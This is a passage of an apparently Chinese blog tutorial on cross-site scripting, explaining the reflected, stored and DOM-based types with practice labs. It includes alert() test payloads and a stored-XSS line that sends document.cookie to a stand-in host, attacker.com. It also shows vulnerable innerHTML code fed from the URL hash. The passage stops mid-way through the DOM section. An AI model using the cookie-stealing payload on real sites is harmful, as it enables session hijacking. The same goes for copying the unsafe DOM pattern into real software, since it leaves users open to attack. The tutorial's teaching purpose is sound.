XSS攻击全解析：从反射型到DOM型，手把手教你攻防实战

最新推荐文章于 2026-08-06 12:49:19 发布

原创

最新推荐文章于 2026-08-06 12:49:19 发布 · 555 阅读

1. 从一次“诡异”的弹窗说起：理解XSS的本质

那天，我正在测试一个刚上线的内部管理系统。登录后，一切如常，直到我点开一个同事分享的“本周会议纪要”链接。页面正常加载，但几秒后，屏幕上突然弹出了一个写着“哈哈，你被黑了！”的对话框。我心头一紧，立刻按F12打开开发者工具，查看页面源代码。果然，在那篇看似正常的会议纪要文本里，夹杂着一段 <script>alert('哈哈，你被黑了！');</script> 的代码。浏览器忠实地执行了它，于是就有了那个弹窗。这就是一次最典型的 跨站脚本攻击（Cross-Site Scripting, XSS） 现场。

简单来说，XSS就是一种攻击者将恶意脚本代码“注入”到原本可信的网站中，当其他用户浏览该网站时，浏览器会误以为这些脚本是网站的一部分而执行，从而达到攻击目的的安全漏洞。它的核心危害在于“跨站”——攻击者的恶意代码，借用了受信任网站的“外壳”和权限，在用户的浏览器里为非作歹。这就像有人伪造了银行的官方信封，在里面塞了一张要求你转账的纸条，而你因为信任这个信封，就照做了。

为什么XSS如此普遍且危险？因为它的触发条件太“基础”了：一个网站只要允许用户输入内容（如评论、昵称、搜索框），并且没有对这些输入进行严格的过滤和转义，就可能在输出时把用户输入当作代码执行。无论是大型社交平台、电商网站，还是企业内部系统，只要有用户交互的地方，理论上就存在XSS的风险。攻击者可以利用XSS窃取用户的登录凭证（Cookie）、会话令牌，冒充用户进行操作（如转账、发帖），甚至结合其他漏洞进行更复杂的攻击。

对于开发者、安全测试人员甚至普通用户，理解XSS都至关重要。开发者需要知道如何从代码层面防御；测试人员（尤其是使用 pikachu靶场 、 DVWA 这类安全演练平台的朋友）需要掌握如何发现和验证它；而用户则需要提高警惕，对不明链接和网站上的异常弹窗保持敏感。

2. XSS攻击的三大“门派”：反射型、存储型与DOM型

XSS攻击并非只有一种形式，根据恶意脚本的存储和触发位置，主要可以分为三大类。理解它们的区别，是有效防御和测试的第一步。

2.1 反射型XSS：一次性的“钓鱼攻击”

反射型XSS（Reflected XSS）是最常见，也相对容易理解的一种。它的特点是恶意脚本并不存储在目标服务器上，而是“反射”在当次的URL或HTTP请求参数中。

攻击流程拆解：

攻击者构造链接 ：攻击者发现一个存在XSS漏洞的搜索页面，例如 https://vulnerable-site.com/search?q=用户输入 。他将搜索关键词 用户输入 替换为恶意脚本，如 <script>alert('XSS')</script> 。
诱骗用户点击 ：攻击者通过邮件、社交软件、论坛帖子等方式，将这个精心构造的链接（ https://vulnerable-site.com/search?q=<script>alert('XSS')</script> ）发送给受害者。链接可能被短网址服务隐藏，或者夹杂在看似正常的文本中。
服务器反射并输出 ：用户点击链接，浏览器向 vulnerable-site.com 发起请求。服务器接收到参数 q 的值为 <script>alert('XSS')</script> ，并在生成的搜索结果页面中，直接将这个值嵌入到HTML里，比如 <p>您搜索的关键词是：<script>alert('XSS')</script></p> 。
浏览器执行 ：用户的浏览器接收到这个HTML页面，将其中的 <script> 标签当作合法的页面代码执行，于是弹出了警告框。

核心特征与影响范围：

非持久化 ：恶意脚本只在这次特定的请求中生效，不会存储在服务器数据库里。下一个用户访问正常的搜索页面不会触发。
需要交互 ：必须诱骗用户主动点击那个特定的恶意链接。这通常需要结合社会工程学（如钓鱼邮件）。
常见场景 ：搜索框、错误信息页面、URL重定向参数等任何将用户输入直接回显到页面的地方。 Pikachu靶场 和 DVWA 中的反射型XSS关卡，就是模拟这种场景的绝佳练习场。

注意：反射型XSS的利用成功率高度依赖于诱骗技巧。但随着浏览器安全机制（如XSS Auditor，现已弃用）和现代前端框架的普及，纯反射型XSS的利用门槛在变高，但远未绝迹。

2.2 存储型XSS：潜伏的“定时炸弹”

存储型XSS（Stored XSS 或 Persistent XSS）的危害性通常更大。顾名思义，攻击者将恶意脚本提交到目标网站的服务器（如数据库、文件系统、评论内容）并存储起来。之后，任何访问到包含该恶意脚本页面的用户，都会中招。

攻击流程拆解：

攻击者提交恶意内容 ：攻击者在网站允许用户提交内容的地方（如论坛发帖、博客评论、用户昵称、个人简介），输入一段恶意脚本，例如 <script>new Image().src="/https://attacker.com/steal?cookie="+document.cookie;</script> 。
服务器存储 ：存在漏洞的网站后端程序未经验证或过滤，直接将这段内容存入数据库。
正常用户访问触发 ：当其他用户浏览包含这条评论或帖子的页面时，网站后端会从数据库读取内容，并将其作为页面的一部分输出到HTML中。
浏览器自动执行 ：所有访问者的浏览器都会加载并执行这段恶意脚本。上面的例子中，脚本会悄悄地将用户的Cookie发送到攻击者的服务器（ attacker.com ）。

核心特征与影响范围：

持久化 ：恶意脚本长期存储在服务器上，影响所有后续访问者，无需每次诱骗点击。
危害范围广 ：一次注入，可能影响成千上万的用户，极易造成大规模数据泄露。
常见场景 ：所有用户生成内容（UGC）区域，如论坛、评论区、用户资料、站内信、商品评价等。 Pikachu存储型XSS 关卡就是专门训练发现这类漏洞的。

实操心得 ：在测试存储型XSS时，不要只测试明显的输入框。我曾在一个项目的“头像上传”功能中发现漏洞，虽然文件名被过滤，但服务器在解析某些图像文件的EXIF信息时，会将信息直接输出到页面属性中，通过构造包含恶意脚本的EXIF字段，最终实现了存储型XSS。所以，思维要发散，任何用户可控且最终会显示在页面的数据流都值得怀疑。

2.3 DOM型XSS：纯前端的“影子杀手”

DOM型XSS（DOM-based XSS）是一种比较特殊的类型。它的恶意代码执行完全发生在客户端的浏览器中，不经过服务器端处理（或者说，服务器返回的是正常的、无恶意脚本的响应）。漏洞的根源在于前端JavaScript代码不安全地操作了DOM（文档对象模型）。

攻击流程拆解：

存在漏洞的页面 ：一个网页中包含类似如下的JavaScript代码：

// 从当前URL的hash部分（#后面的内容）获取参数
var token = window.location.hash.substring(1);
// 不安全地将该参数写入DOM
document.getElementById("message").innerHTML = "Welcome, " + token;